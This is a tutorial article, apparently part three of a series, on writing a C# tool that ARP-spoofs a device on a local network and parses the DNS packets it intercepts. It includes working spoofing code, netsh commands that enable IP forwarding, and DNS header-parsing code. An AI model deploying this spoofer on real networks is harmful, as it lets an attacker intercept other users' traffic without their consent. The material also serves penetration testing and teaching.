The program can capture and analyze DNS packets. It can also spoof ARP so that you can sniff Other Users Packets in the network. The program firstly scans the network to find connected devices in the network and then you can choose one of the found devices and sniff the incoming and the outgoing packets for this device. note : The program is intended to carry out network penetration tests, as a developer I absolve myself of any misuse.
Read the first part of this article here.
Read the second part of this article here.
Introduction
In this part, we will learn how to sniff or capture Dns packets from other users in the same network using ARP spoofing.
ARP
What Is Meant by the Term ARP?
ARP: "Address Resolution Protocol" is a network protocol that works on Layer 2 and is used to find out the Mac address when the IP address is known but the associated Mac address is unknown and that in a local area network.
The following diagram shows you how it works.
Now that we have learned how the ARP Protocol works, we will move to the next step, namely, learn what is meant by ARP spoofing and how it works.
What is Meant by the Term ARP Spoofing?
It is a man in the middle attack that spoofs ARP queries and assigns a fake mac address in the ARP table of the target device to redirect the data traffic so the goal here is to record the entire data traffic of the target system and, if necessary, to manipulate it.
How It Works
The attackers flood the network by sending fake ARP responses to the target device waiting for a real ARP request from the target device, and at that moment when the target device sends a request, he will get the fake ARP response. Therefore, the mac address in the ARP cache of the target device will be changed to a fake one and so the traffic will be redirected and it will pass from attackers' machine to the network gateway.
The figure below shows you how the traffic and ARP cash look like before and after ARP spoofing:
The Code
Before we get started, we need to install the required libraries The following libraries are required to get our program working: Packet.Net =>
Using the Paket-Manager-Console, enter the following command:
NuGet\Install-Package PacketDotNet -Version 1.4.7
sharppcap using the Paket-Manager-Console, enter the following command:
NuGet\Install-Package SharpPcap -Version 6.2.5
After we installed the required libraries, we need also to install WinPcap on our devices https://www.winpcap.org/install/default.htm.
Note: Before we start with Spoofing the ARP, we should make sure that the IP Forwarding is Enabled and that is as follows:
netsh interface ipv4 show interfaces
Firstly, we list all available interfaces or Adapters in our device, then we take the wlan idx to use it in the next command that will list for us all properties of the chosen wlan:
netsh interface ipv4 show interface idx-target-interface
If the "Forwarding
" is not enabled, than you have to enable it using the following command:
netsh interface ipv4 set interface idx-target-interface forwarding="enabled"
So we are now ready to start coding:
public class SpoofARP
{
#region --- Class Data -------------------------------
private object syncRoot = new Object();
private bool _isRunning = false;
#endregion
#region --- Constructor ------------------------------
public SpoofARP(ILiveDevice liveDevice, IPAddress srcIpAddresse,
PhysicalAddress srcMacAddr, IPAddress desIpAddresse,
PhysicalAddress desMacAddr)
{
Adapter = liveDevice;
SrcIpAddresse = srcIpAddresse;
SrcMACAddresse = srcMacAddr;
DesIpAddresse = desIpAddresse;
DesMACAddresse = desMacAddr;
}
#endregion
#region --- Public Methods ---------------------------
public void SendArpResponsesAsync()
{
lock (this.syncRoot)
{
if (TargetDevicePacket != null || GatwayPacket != null)
{
if (!this._isRunning)
{
ThreadPool.QueueUserWorkItem(_ => ThreadProc());
}
} else
{
Error = true;
}
}
}
public void StopAsync()
{
ThreadStart ts = new ThreadStart(Stop);
Thread thd = new Thread(ts);
thd.Start();
}
#endregion
#region --- Private Methods --------------------------
private void Stop()
{
lock (this.syncRoot)
{
if (this._isRunning)
{
this._isRunning = false;
}
}
}
private void ThreadProc()
{
this._isRunning = true;
while (this._isRunning)
{
Adapter.SendPacket(TargetDevicePacket);
Adapter.SendPacket(GatwayPacket);
Thread.Sleep(25);
}
}
#endregion
#region --- IDisposable-------------------------------
private bool disposed = false;
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (!this.disposed)
{
if (disposing)
{
Stop();
}
}
disposed = true;
}
#endregion
#region --- Properties -------------------------------
public ILiveDevice Adapter { get; set; }
public IPAddress SrcIpAddresse { get; set; }
public PhysicalAddress SrcMACAddresse { get; set; }
public IPAddress DesIpAddresse { get; set; }
public PhysicalAddress DesMACAddresse { get; set; }
public bool Error = false;
public Packet TargetDevicePacket
{
get
{
try
{
if (SrcIpAddresse == null
|| SrcMACAddresse == null
|| DesIpAddresse == null
|| DesMACAddresse == null)
{
throw new Exception
("one or more of the required value is null");
}
else
{
EthernetPacket EthernetPacket = new EthernetPacket(
Adapter.MacAddress,
DesMACAddresse,
EthernetType.Arp);
ArpPacket ArpPacket = new ArpPacket(
ArpOperation.Response,
DesMACAddresse, DesIpAddresse,
Adapter.MacAddress,
SrcIpAddresse);
EthernetPacket.PayloadPacket = ArpPacket;
return EthernetPacket;
}
}
catch (Exception ex)
{
Error = true;
return null;
}
}
}
public Packet GatwayPacket
{
get
{
try
{
if (SrcIpAddresse == null
|| SrcMACAddresse == null
|| DesIpAddresse == null
|| DesMACAddresse == null)
{
throw new Exception
("one or more of the required value is null");
}
else
{
EthernetPacket EthernetPacket = new EthernetPacket(
Adapter.MacAddress,
SrcMACAddresse,
EthernetType.Arp);
ArpPacket ArpPacket = new ArpPacket(
ArpOperation.Response
, SrcMACAddresse
, SrcIpAddresse
, Adapter.MacAddress
, DesIpAddresse);
EthernetPacket.PayloadPacket = ArpPacket;
return EthernetPacket;
}
}
catch (Exception ex)
{
Error = true;
return null;
}
}
}
public bool IsRunning
{
get { return this._isRunning; }
}
#endregion
}
Using the Code
SpoofARP ArpSpoofer = new SpoofARP(Adapter, target, targetMac, gatway, gatwayMac);
ArpSpoofer.SendArpResponsesAsync();
Now after we spoofed the ARP, we continue to work with the DNS packet. The question here is how to Analyze and Capture the DNS Packet. Therefore, we will use the sharpcap library as basic. In this article, I would like to explain the DNS packet structure and the separate component of the packet, the mean of it and how to extract it.
The DNS Packet Structure
The Header: Defines a 12 byte long fields and contains general definitional info about the dns packet type and structure like the QR that defines whether the packet is a request or response, or the number of question that gives us info about the other packet section like the question count after the header
The Question and Resource record (answer, authority, additional): Defines flexible number of fields bytes and represents the extension of the packet after the header and contains the actual dns info like the domain name...
Header Section Fields
Name
| Byte Index
| First Bit Index
| Bits Count
| valuation
|
ID
| 0
| 0
| 16
| Packet ID in Hex
|
QR
| 2
| 0
| 1
| 0 request
1 response
|
OPCODE
| 2
| 1
| 4
| 0 Standard Query
1 Inverse Query
2 Server Status Request
|
AA(Authoritative_Answer)
| 2
| 5
| 1
| 0 non Authoritative
1 Authoritative
|
TC(Truncation)
| 2
| 6
| 1
| specifies that this message was truncated
|
RD(Recursion Desired)
| 2
| 7
| 1
| Specifies if the server needs to answer the query recursively
|
RA(Recursion_Available)
| 3
| 0
| 1
| denotes whether recursive query support is available in the name server
|
Z(Zeros)
| 3
| 1
| 3
| Reserved for future use
|
RCODE(Response Code)
| 3
| 4
| 4
| 0 No Error
1 Format Error
2 Server Failure
3 Name Error
4 Not Implemented
5 Refused
|
QDCount(Number of Question)
| 4
| 0
| 16
| Number of entries in the Question section
|
ANCount(Number of Answer)
| 6
| 0
| 16
| Number of resource records in the answer section
|
NSCOUNT(Number of Authority)
| 8
| 0
| 16
| Number of the name server resource records in the authority records
|
ARCOUNT(Number of Additional)
| 10
| 0
| 16
| Number of resource in the additional record section
|
Now after we got to know the different Fields and where exactly they are located in the packet, we need to now how to extract the Field from the packet using his location. As an example, we will take the "OPCODE
" Field.
The field consists of 4 bits and its start index is 1 (we start counting from zero) a byte has 8 bits => 11111111. In our example, we only set the field bits to 1 and the rest to 0 => 01111000 so we have now the mask that we can apply to our target byte. Let's assume we have a target byte of 17 and its bits like 00010001. First, we apply the "and
" operator:
00010001
&
01111000
___________
00010000 = 16
Remember we need to isolate the field bits so now we need to apply the Right shift to the results and there is a formula for that, namely:
Shift Value = 8 - (index + length)
=> 16 >>(8 – (1+4))
=> 16 >> 3 = 2
public class BitMask
{
int First_Bit_Index { get; set; }
int Bits_Count { get; set; }
public int Mask { get; set; }
public BitMask(int _First_Bit_Index, int _Bits_Count)
{
this.First_Bit_Index = _First_Bit_Index;
this.Bits_Count = _Bits_Count;
Mask = Create();
}
int Create()
{
string zerosByte = "00000000";
StringBuilder sb = new StringBuilder(zerosByte);
for (int i = this.First_Bit_Index;
i < First_Bit_Index + this.Bits_Count; i++)
{
sb[i] = '1';
}
return Convert.ToInt32(sb.ToString(), 2);
}
int CalculateShiftvalue(int index, int length) => 8 - (index + length);
public string Apply(byte Byte)
{
int Shift_value = CalculateShiftvalue(this.First_Bit_Index, this.Bits_Count);
if(Shift_value!= 0)
return ((Byte & Mask) >> Shift_value).ToString();
else return (Byte & Mask).ToString();
}
}
Using the Code
public DnsFieldsEnums.OP_Code_Type OP_Code
{
get
{
string OP_Code_str = new BitMask(DnsFields.OPCODE_bit_Index,
DnsFields.OPCODE_Length_bits)
.Apply(Data[DnsFields.OPCODE_Byte_Index]);
if (OP_Code_str == "0")
return DnsFieldsEnums.OP_Code_Type.Standard_Query;
else if (OP_Code_str == "1")
return DnsFieldsEnums.OP_Code_Type.Inverse_Query;
else if (OP_Code_str == "2")
return DnsFieldsEnums.OP_Code_Type.Server_Status_Request;
else return DnsFieldsEnums.OP_Code_Type.Reserved_for_future_use;
}
}
After we extracted the header information, let's move to the next step, which is to get the actual DNS data from the packet next part namely questions or resource records (answer, authority, additional) and that as in the following steps in the order:
Step 1: Check if the packet is longer than 12 bytes. When it's longer than 12, then continue with the next steps, else don't do anything
Step 2: Loop all Questions available in the packet
- Note 1: We will use the Number of Question (QDCOUNT) from the header Fields to know how many Questions there are in the packet
- Note 2: Remember to save the current index of the Byte we have reached in each time we loop.
Step 3: We extract the Domainame
, the Type of the query and the Class of the query.
Step 4: Loop all Resource records(answer -> authority -> additional, in the order) available in the packet
Step 5: We extract the Domainame
, the Type of the RRs codes, the Class of the data in the Rdata Field, the TTL or time interval (in seconds), the RDLENGTH
or the length of the Rdata Field and the RDATA
which contain a string
that describes the resource. The format of this info varies according to the type and class of the resource records.
And the code:
public List<IDNSINFO> DNS_INFO
{
get
{
List<IDNSINFO> result = new List<IDNSINFO>();
if (Data.Length > 12)
{
int lastindex;
int CurrentIndex = 12;
for (int i = 0; i < this.Number_of_Questions; i++)
{
string name = GetDomainName(CurrentIndex, out lastindex);
string Type = ExtracktIntFromField(lastindex,2,out lastindex)
.ToString();
string Class = ExtracktIntFromField(lastindex, 2, out lastindex)
.ToString();
result.Add(new Question(DNSType.Question, name,Type, Class));
CurrentIndex = lastindex;
}
for (int i = 0; i < Number_of_Answer; i++)
{
string name = GetDomainName(CurrentIndex, out lastindex);
string Type = ExtracktIntFromField(lastindex,2,out lastindex)
.ToString();
string Class = ExtracktIntFromField(lastindex, 2, out lastindex)
.ToString();
Int64 TTL = ExtracktIntFromField(lastindex, 4, out lastindex);
Int64 Length = ExtracktIntFromField(lastindex, 2, out lastindex);
CurrentIndex =(int) (lastindex + Length);
IResourceData data = GetResourceData(lastindex, int.Parse(Type));
result.Add(new ResourceRecords(DNSType.ResourceRecords
,RRsType.Answer
, name
, Type
, Class
,TTL
,Length
, data));
}
for (int i = 0; i < Number_of_Authority; i++)
{
string name = GetDomainName(CurrentIndex, out lastindex);
string Type = ExtracktIntFromField(lastindex, 2, out lastindex).
ToString();
string Class = ExtracktIntFromField(lastindex, 2, out lastindex).
ToString();
Int64 TTL = ExtracktIntFromField(lastindex, 4, out lastindex);
Int64 Length = ExtracktIntFromField(lastindex, 2, out lastindex);
CurrentIndex = (int)(lastindex + Length);
IResourceData data = GetResourceData(lastindex, int.Parse(Type));
result.Add(new ResourceRecords(DNSType.ResourceRecords,
RRsType.Authority,
name,
Type,
Class,
TTL,
Length,
data));
}
for (int i = 0; i < Number_of_Additional; i++)
{
string name = GetDomainName(CurrentIndex, out lastindex);
string Type = ExtracktIntFromField(lastindex, 2, out lastindex).
ToString();
string Class = ExtracktIntFromField(lastindex, 2, out lastindex).
ToString();
Int64 TTL = ExtracktIntFromField(lastindex, 4, out lastindex);
Int64 Length = ExtracktIntFromField(lastindex, 2, out lastindex);
CurrentIndex = (int)(lastindex + Length);
IResourceData data = GetResourceData(lastindex, int.Parse(Type));
result.Add(new ResourceRecords(DNSType.ResourceRecords,
RRsType.Additional,
name,
Type,
Class,
TTL,
Length,
data));
}
}
return result;
}
}
In the following video, I will show you how to use the program:
History
- 23rd December, 2022: Initial version